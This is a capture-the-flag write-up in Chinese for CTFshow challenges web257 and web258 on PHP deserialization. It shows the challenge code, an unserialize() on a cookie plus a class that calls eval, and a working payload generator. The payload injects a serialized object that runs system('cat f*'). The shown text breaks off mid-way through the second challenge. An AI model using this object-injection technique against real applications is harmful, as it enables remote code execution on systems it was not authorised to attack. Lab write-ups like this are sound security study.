[CTFSHOW]反序列化

web257

<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
   
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
   
        $this->class=new info();
    }
    public function login($u,$p){
   
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
   
        $this->class->getInfo();
    }

}

class info{
   
    private $user='xxxxxx';
    public function getInfo(){
   
        return $this->user;
    }
}

class backDoor{
   
    private $code;
    public function getInfo(){
   
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
   
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

显然要执行这个getInfo方法

class backDoor{
   
    private $code;
    public function getInfo(){
   
        eval($this->code);
    }
}

那么就想办法让程序执行到backDoor类里面的getInfo()

构造payload，由于是cookie传参，所以url编码一下

<?php
class ctfShowUser{
   
    private $class;
    public function __construct(){
   
        $this->class=new backDoor();
    }
}
class backDoor{
   
    private $code='system("cat f*");';
}
$b=new ctfShowUser();
echo urlencode(serialize($b));

web258

<?php

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
   
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
   
        $this->class=new info();
    }
    public function login($u,$p){
   
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){